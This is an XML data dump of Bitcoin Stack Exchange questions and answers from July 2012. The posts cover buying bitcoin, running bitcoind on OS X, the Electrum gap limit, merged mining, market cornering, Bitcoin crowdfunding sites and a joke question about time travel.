  <row Id="4245" PostTypeId="2" ParentId="4243" CreationDate="2012-07-22T08:38:44.287" Score="1" Body="&lt;p&gt;As you are not wanting to get verified by ID, the &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;Mt.Gox option&lt;/a&gt; is not possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page would provide you some information:&#xA;&lt;a href=&quot;http://www.btcwallet.org/contact/fill-up-your-wallet-buy-bitcoins-option-one/&quot; rel=&quot;nofollow&quot;&gt;http://www.btcwallet.org/contact/fill-up-your-wallet-buy-bitcoins-option-one/&lt;/a&gt;&#xA;This 1. option is trading which is quite dangerous, you´d better read this before: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.bitcoin-otc.com/wiki/OTC_Rating_System&quot; rel=&quot;nofollow&quot;&gt;http://wiki.bitcoin-otc.com/wiki/OTC_Rating_System&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.bitcoin-otc.com/wiki/Using_bitcoin-otc%23Safety:_avoiding_fraud&quot; rel=&quot;nofollow&quot;&gt;http://wiki.bitcoin-otc.com/wiki/Using_bitcoin-otc%23Safety:_avoiding_fraud&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And the similiar way but I think the easier one would be &lt;a href=&quot;https://www.bitcoinary.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoinary&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But firstly you should check if there is someone near you at &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;localbitcoins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also consider using up your EUR account and then using SEPA to deposit to &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;bitstamp&lt;/a&gt;, which is probably best europe exchange with good support. &lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2012-07-22T08:51:07.203" LastActivityDate="2012-07-22T08:51:07.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4246" PostTypeId="1" AcceptedAnswerId="4251" CreationDate="2012-07-22T13:49:21.087" Score="2" ViewCount="993" Body="&lt;p&gt;I'm trying to develop some applications and need &lt;code&gt;bitcoind&lt;/code&gt;, but can't seem to find a recent version. Posts seem to indicate that it's incorporated into Bitcoin-Qt, but I don't want to run a GUI just for headless RPC calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I set up a testnet on OS X?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2941/how-to-setup-testnet-in-a-box-on-mac-osx&quot;&gt;How to setup testnet-in-a-box on Mac OSX?&lt;/a&gt; seems like it would work, except I don't have the &lt;code&gt;bitcoind&lt;/code&gt; command for whatever reason.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2018-01-04T19:26:18.443" Title="How do I run a headless testnet on OS X?" Tags="|bitcoind|mac|testnet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4247" PostTypeId="1" AcceptedAnswerId="4248" CreationDate="2012-07-22T18:05:15.837" Score="6" ViewCount="3606" Body="&lt;p&gt;I don't understand &lt;a href=&quot;https://en.bitcoin.it/wiki/Electrum/Documentation#What_is_the_.22Gap_Limit.22.3F&quot;&gt;this explaination&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-07-22T19:02:05.070" Title="What is &quot;the gap limit&quot; in Electrum?" Tags="|thin-clients|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4248" PostTypeId="2" ParentId="4247" CreationDate="2012-07-22T19:02:05.070" Score="8" Body="&lt;p&gt;With a deterministic wallet you create from an initial seed a sequence of bitcoin addresses. Imagine counting 1, 2, 3, 4, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create as many addresses as you like, but not all of them will appear on the blockchain. For instance I might create one especially for you to give me 1,000,000 BTC. That is (alas!) probably not going to be used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are recreating a wallet from scratch you do not know which is the last address used. So you start at the beginning and see what is on the blockchain. Then you look for the next one in the sequence. The gap limit is how many 'misses' you accept before you give up and stop looking. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-07-22T19:02:05.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4249" PostTypeId="1" AcceptedAnswerId="4383" CreationDate="2012-07-22T20:32:26.933" Score="10" ViewCount="1668" Body="&lt;p&gt;I'm using &lt;code&gt;poclbm&lt;/code&gt; to mine under Windows... processor is an AMD A6-3400M with integrated Radeon HD 6250G GPU. When Windows Media Player is closed, I get a rate of 16 megahashes/second, but when it is open (even if stopped or paused) poclbm reports a rate of around 33 megahashes/second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if this has something to do with Windows Media Player increasing the system timer resolution, but that doesn't seem like it would affect performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to achieve maximum GPU performance without having Media Player constantly open.&lt;/p&gt;&#xA;" OwnerUserId="1620" LastEditorUserId="5406" LastEditDate="2017-06-17T23:30:55.010" LastActivityDate="2017-06-17T23:31:53.187" Title="Why does merely having Windows Media Player open double my GPU hashrate?" Tags="|miner-configuration|hashpower|gpu-mining|windows|performance|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4250" PostTypeId="2" ParentId="3347" CreationDate="2012-07-23T00:29:32.723" Score="3" Body="&lt;p&gt;Close the Bitcoin client and add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lang=en&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a line by itself to the end of the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Users\YourUserName\AppData\Roaming\Bitcoin\bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Replace &quot;YourUserName&quot; with your windows user name.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now restart the Bitcoin client.  Done!&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2012-07-23T00:29:32.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4251" PostTypeId="2" ParentId="4246" CreationDate="2012-07-23T04:22:32.963" Score="2" Body="&lt;p&gt;Ready to use distribution of bitcoind for Mac OS X doesn't exist, so you would have to build it from source code, here is the instructions for that: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/793/what-are-the-steps-in-building-bitcoind-on-mac-os-x-10-6&quot;&gt;What are the steps in building bitcoind on Mac OS X 10.6?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-07-23T04:22:32.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4252" PostTypeId="2" ParentId="4243" CreationDate="2012-07-23T06:37:57.190" Score="2" Body="&lt;p&gt;I've been using &lt;a href=&quot;https://intersango.com/&quot; rel=&quot;nofollow&quot;&gt;Intersango's&lt;/a&gt; service lately, and am happy with it. You can deposit by SEPA bank transfer, no ID required.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2012-07-23T06:37:57.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4253" PostTypeId="2" ParentId="1764" CreationDate="2012-07-24T17:52:56.763" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://CheaperInbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://CheaperInbitcoins.com&lt;/a&gt; You can buy or sell as many items as you want for free, you only pay for upgrades. You can sell items anonymously and as the owner I can vouch for my self and say that we are incorporating our website with an up and coming Web Of Trust ratings system to provide safe, secure and anonymous person to person transactions.&lt;/p&gt;&#xA;" OwnerUserId="782" LastActivityDate="2012-07-24T17:52:56.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4254" PostTypeId="1" AcceptedAnswerId="4263" CreationDate="2012-07-24T18:03:01.173" Score="13" ViewCount="1882" Body="&lt;p&gt;I know the US Government is opposed to competing currencies.  It seems that it would be a rather simple solution for them to destroy Bitcoin before it grows too much by merely buying all the currency, which would be rather feasible given today's market cap of $80M (as of July 2012), and never selling.&lt;/p&gt;&#xA;" OwnerUserId="1625" LastEditorUserId="516" LastEditDate="2012-11-23T22:51:20.347" LastActivityDate="2014-02-12T00:23:55.440" Title="Could bitcoin be destroyed if an entity cornered the market?" Tags="|economic-theory|currencies|weaknesses|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4255" PostTypeId="1" AcceptedAnswerId="4259" CreationDate="2012-07-24T18:04:40.017" Score="7" ViewCount="420" Body="&lt;p&gt;Suppose I want to start an AltCoin, and set it up for merged mining with Bitcoin. Will it require the AltCoin end-users to also download the Bitcoin blockchain to verify the hashes embedded in the blocks, or do only the miners need a copy of both chains?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="5406" LastEditDate="2016-01-22T22:22:49.690" LastActivityDate="2016-01-22T22:22:49.690" Title="Does merged mining require clients to download both blockchains?" Tags="|alternatives|merged-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4256" PostTypeId="1" CreationDate="2012-07-24T18:12:11.300" Score="2" ViewCount="316" Body="&lt;p&gt;Currently the incentives for miners are the block-awards and transaction fees. Suppose I want to create a Bitcoin-like hash-chain for other purposes than storing coins (for example: storing messages), how could one create an incentive for miners to do the work?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="5406" LastEditDate="2016-02-03T10:39:05.710" LastActivityDate="2016-02-03T10:39:05.710" Title="Alternative incentives for miners" Tags="|transaction-fees|alternatives|mining-reward|mining-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4257" PostTypeId="1" AcceptedAnswerId="4326" CreationDate="2012-07-24T18:32:15.890" Score="5" ViewCount="923" Body="&lt;p&gt;Can you differentiate the miners from the normal clients, by doing some frequency analysis on ip-addresses that announce new blocks? Or will the new block propagate so fast around the network by normal clients that it's impossible.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="5406" LastEditDate="2016-02-03T10:38:30.697" LastActivityDate="2016-02-03T10:38:30.697" Title="Can a miner remain anonymous?" Tags="|security|protocol|privacy|miner-configuration|block-propagation-time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4258" PostTypeId="2" ParentId="4256" CreationDate="2012-07-24T19:14:35.430" Score="1" Body="&lt;p&gt;Transaction fees, just like in the bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The level of mining would then adjust up and down with the amount of usage.  You might need to subsidize it to get any participation from the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If demand is too low where fees don't justify this, then demand is too low where fees don't justify this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you can use Namecoin, which already exists, to solve your problem?  Namecoin can be used for namespaces other than just .bit domains.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-07-24T19:14:35.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4259" PostTypeId="2" ParentId="4255" CreationDate="2012-07-24T19:16:45.990" Score="8" Body="&lt;p&gt;Those running a miner against a pool don't.  The pool operator would need both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in the comments below, normal users of the alternate system will not need the bitcoin chain but will need the alternate chain, and normal users of bitcoin will need the bitcoin chain but not the alternate chain. Once the block is mined, nobody cares what other chains may have been involved.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="1725" LastEditDate="2012-08-17T23:46:13.247" LastActivityDate="2012-08-17T23:46:13.247" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4260" PostTypeId="2" ParentId="4256" CreationDate="2012-07-24T19:23:40.897" Score="1" Body="&lt;p&gt;The incentive for miners in most cases is the same - profit. Mining costs a lot of money, so miners would want to at least get their money back. On the other hand if you are supporting some worthy cause, you can get some people to contribute for free. An example of the latter would be SETI, or Folding@home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all in all, you would most likely have to pay the miners in some manner - either through Bitcoin rewards, or some new type of Coin, like Namecoin for example.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-07-24T19:23:40.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4261" PostTypeId="2" ParentId="4254" CreationDate="2012-07-24T19:27:34.847" Score="8" Body="&lt;p&gt;The process of attempting to buy all of the currency would drive the price up arbitrarily high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have some bitcoins and plan to sell 10% of what I have left every time the price doubles. I will never run out of bitcoins to sell, no matter how high the price, so it is impossible for anybody to buy them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The US government could try to destroy Bitcoin by repeatedly buying and driving up the price, then selling to make the price crash. Eventually they should get tired of paying transaction fees to the exchanges (or run out of money to pay the exchange fees). And, of course, if their buying and selling is at all predictable everybody else will just repeatedly sell high and buy low.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-03-31T01:45:31.410" LastActivityDate="2013-03-31T01:45:31.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4262" PostTypeId="2" ParentId="4254" CreationDate="2012-07-24T19:29:04.120" Score="4" Body="&lt;p&gt;It's impossible to tell the difference between bitcoins that have been lost forever and bitcoins that are being hoarded, so the US government would never be able to tell when they had bought all available bitcoins.  And they're going to have to offer a lot more than the current market prices for some people to sell.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-24T19:29:04.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4263" PostTypeId="2" ParentId="4254" CreationDate="2012-07-24T19:31:04.607" Score="14" Body="&lt;p&gt;The exchange rate at any one point in time is determined by supply and demand at the markets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of all bitcoins at the current market price is $80 million because the current market price is the point where the demand for bitcoins at a certain price meets the supply.  You are describing introducing an artificial demand that would indeed cause incredible rallies in the exchange rate and cause tremendous exchange rate volatility&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While some people cash out in a rally, others are buying.  This government taking this action would be enriching speculators mostly -- certainly not the best use of the governed's tax dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even in a hypothetical scenario where this party you describe were somehow able to acquire 9.49 of the 9.5 million coins issued today, there are just about 11 million more that will be issued, so this entity would need to continue buying.  But even with just 10,000 coins remember that Bitcoin is divisible down to a Satoshi (0.0000001 BTC).  That 10K BTC gives 1,000,000,000,000 Satoshi trading units.  That allows plenty enough time to get an update out that provides for even greater divisibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the risk then is that those 9.49 million coins are not destroyed but find their way back onto the market, creating again huge volatility and price inflation.  That can technically be done, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think too many speculators are losing even a wink of sleep over it though.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="516" LastEditDate="2012-11-23T22:52:57.777" LastActivityDate="2012-11-23T22:52:57.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4264" PostTypeId="2" ParentId="4257" CreationDate="2012-07-24T19:45:46.357" Score="4" Body="&lt;p&gt;I don't know what this frequency analysis technique would do, so this answer corresponds to the second question you asked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info connects to hundreds of nodes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blockchain.info/connected-nodes&quot; rel=&quot;nofollow&quot;&gt;http://www.blockchain.info/connected-nodes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The IP address Blockchain.info shows is the address of one of those nodes that they happened to be connected to which first saw that transaction.  A node where privacy is desired does not allow incoming connections and only connects to trusted nodes that won't violate privacy expectations.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-07-24T19:45:46.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4265" PostTypeId="1" AcceptedAnswerId="4266" CreationDate="2012-07-24T21:56:57.253" Score="5" ViewCount="3213" Body="&lt;p&gt;I am searching for a solution to monitor all bitcoin transactions (or for first ties at least for addresses inside my bitcoin client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://blockchain.info/api_websocket&quot; rel=&quot;noreferrer&quot;&gt;http://blockchain.info/api_websocket&lt;/a&gt; is this really reliable? What happens if my client is offline? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is perhaps the better way to run a bc-client an use a poll - every second?&lt;/p&gt;&#xA;" OwnerUserId="1500" LastActivityDate="2012-08-31T20:39:22.777" Title="Monitor all transactions on bitcoin network - API" Tags="|development|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4266" PostTypeId="2" ParentId="4265" CreationDate="2012-07-25T01:46:14.087" Score="2" Body="&lt;p&gt;This can be done with some degree of effort using the Bitcoin API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v0.7 even has &lt;a href=&quot;http://bitcointalk.org/index.php?topic=89725.0&quot; rel=&quot;nofollow&quot;&gt;support for this&lt;/a&gt; for addresses that are not in your own wallet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are other tools that you can use to build this capability as well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;libBitcoin&lt;/li&gt;&#xA;&lt;li&gt;Armory (see &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/tree/master/extras&quot; rel=&quot;nofollow&quot;&gt;Extras&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin ABE &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-31T20:39:22.777" LastActivityDate="2012-08-31T20:39:22.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4267" PostTypeId="2" ParentId="1431" CreationDate="2012-07-25T02:14:14.083" Score="-1" Body="&lt;p&gt;Of course you can simply encode a message as the amount of bitcoins sent in a transaction. And like any transaction, a transaction increases the size of the blockchain. Could that bloat, that is could it add a significant amount of &quot;undesired&quot; data to the blockchain? You can bloat it up to a point where the &quot;value&quot; of your message is smaller than or equal to the transaction fee (including the &quot;value&quot; a disruption of Bitcoin itself might have to you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this results in an increase of the size of the blockchain faster than hardware vendors (hard disks, CPU, internet bandwidth, ...) can keep up with then the transaction fees will increase, too. Whether at this point &quot;normal&quot; transactions have become unfeasible - I don't know. I guess that comes down to the question how &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2883/bitcoin-protocol-algorithm-scalability&quot;&gt;scalable&lt;/a&gt; the Bitcoin protocol is and will be.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-07-25T09:45:50.997" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4268" PostTypeId="2" ParentId="4107" CreationDate="2012-07-25T07:43:00.197" Score="1" Body="&lt;p&gt;For Android, Bitcoin Balance Scanner (from Beyondem) will display the balance after converting using the exchange rate:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.beyondem.bitcoinbalance&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=com.beyondem.bitcoinbalance&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BitcoinBalance (from London Trust Media) will display the number of bitcoins.  This basically just launches the web-based blockexplorer for the address scanned.  It will not show any unconfirmed transactions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.londontrustmedia.bitcoinbalance&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=com.londontrustmedia.bitcoinbalance&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, Scanbook for iPhone and Android:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://itunes.apple.com/en/app/scanbook-bitcoin-address-utility/id536215208&quot; rel=&quot;nofollow&quot;&gt;http://itunes.apple.com/en/app/scanbook-bitcoin-address-utility/id536215208&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=paymium.paytunia.scanbook&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=paymium.paytunia.scanbook&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-08-12T15:51:55.007" LastActivityDate="2013-08-12T15:51:55.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4269" PostTypeId="1" CreationDate="2012-07-25T07:58:17.790" Score="15" ViewCount="2456" Body="&lt;p&gt;Does a crowdfunding site like &lt;a href=&quot;http://www.kickstarter.com/&quot; rel=&quot;nofollow&quot;&gt;kickstarter.com&lt;/a&gt; exist, which accepts bitcoins instead of dollars?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="5406" LastEditDate="2015-03-29T15:30:12.537" LastActivityDate="2021-10-04T18:20:28.903" Title="Is there a crowdfunding site for Bitcoin?" Tags="|crowdfunding|" AnswerCount="9" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4270" PostTypeId="2" ParentId="4269" CreationDate="2012-07-25T09:55:25.680" Score="20" Body="&lt;p&gt;For donation-based crowdfunding:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitcoinStarter.com&quot;&gt;http://www.BitcoinStarter.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.CoinFunder.com&quot;&gt;http://www.CoinFunder.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nestorbooster.com&quot;&gt;http://www.nestorbooster.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ignitiondeck.com/id/bitcoin-crowdfunding&quot;&gt;http://ignitiondeck.com/id/bitcoin-crowdfunding&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Propster.me&quot;&gt;http://www.Propster.me&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.PirateMyFilm.com&quot;&gt;http://www.PirateMyFilm.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Booster.io&quot;&gt;http://www.Booster.io&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and some day coming back:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitcoinChipIn.com&quot;&gt;http://www.BitcoinChipIn.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course, the &quot;equity&quot; markets for equity-based crowdfunding:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitFunder.com&quot;&gt;http://www.BitFunder.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.MPEX.co&quot;&gt;http://www.MPEX.co&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.CryptoStocks.com&quot;&gt;http://www.CryptoStocks.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And a forms of microlending from the crowd include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BTCJam.com&quot;&gt;http://www.BTCJam.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update: Thanks to others answering this question as well, I've updated this list with their input as well.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-06-23T08:49:29.890" LastActivityDate="2013-06-23T08:49:29.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4271" PostTypeId="1" CreationDate="2012-07-25T22:45:39.427" Score="14" ViewCount="1032" Body="&lt;p&gt;It is likely that the Galaxy Note 2 will be launched in August.  As it has taken two weeks to mine my very first bitcoin, it seems unlikely that I will have mined enough to purchase a Note upon release (unless the time between launch and release is about 15 years).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan was to bank on the idea that time travel will be possible, and so I would leave a calendar entry for my future self to travel back in time and credit my bitcoin account with the necessary funds that I have mined in the future (my future self can simply snooze the calendar entry for another decade if time travel is not yet possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it occurs to me that the bitcoin protocol is immune to this type of temporal shenanigans, as any future mined bitcoins are not in the block chain and so cannot be used in contemporary transactions.  Even if the source bitcoins were already generated, no transactions would exist that showed them to be mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am impressed that our future selves cannot tamper with bitcoins in the past, but I wanted to confirm that I haven't missed anything.  Is there a workaround that my future self could employ so that they didn't have to convert to gold or diamonds first (considering some time travel techniques only permit living tissue and their contents to be transferred).&lt;/p&gt;&#xA;" OwnerUserId="1546" LastEditorUserId="5406" LastEditDate="2017-12-23T19:07:08.130" LastActivityDate="2017-12-23T19:07:08.130" Title="bitcoins from the future" Tags="|blockchain|attack|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4272" PostTypeId="2" ParentId="4271" CreationDate="2012-07-26T00:26:35.817" Score="9" Body="&lt;p&gt;Your future self could memorize some &lt;a href=&quot;http://www.satoshidice.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SatoshiDice&lt;/a&gt; &lt;a href=&quot;http://www.satoshidice.com/secretlist.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;secrets&lt;/a&gt; after they are revealed.  This would allow him to win every dice bet he placed after travelling back in time, since knowledge of a day's secret allows one to &lt;a href=&quot;http://www.satoshidice.com/secrets.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;determine&lt;/a&gt; whether a bet will win or not before placing the bet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a theory that this has already happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vze8v.jpg&quot; alt=&quot;http://i.imgur.com/JU7LB.jpg&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-07-26T00:53:34.487" LastActivityDate="2012-07-26T00:53:34.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4273" PostTypeId="2" ParentId="4271" CreationDate="2012-07-26T06:06:13.710" Score="6" Body="&lt;p&gt;Trying to earn money from Bitcoins from the future would not be such a lucrative business as betting on sports events, or playing the lottery. You can't spend coins that haven't been mined yet, and while you could know the exact block chain data that will appear and try selling the miners nonces that will solve their blocks, I don't think it would earn you too much. As a side note, injecting a long part of the blockchain into the Bitcoin network could freak a lot of people out - after all, they would see their money disappearing and appearing from future transactions without them authorising anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing information from the future you could try playing on the Bitcoin exchanges, for example by buying a lot of coins soon after Bitcoin was launched for pennies and selling them at the bubble burst for $30 a coin. Moreover, you could start developing GPU or ASIC miners way in advance and be ready to blast everyone out of the water with your futuristic technology. Lastly, you could just create Bitcoin yourself and be Satoshi Nakamoto, the time traveller;).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-07-26T06:06:13.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
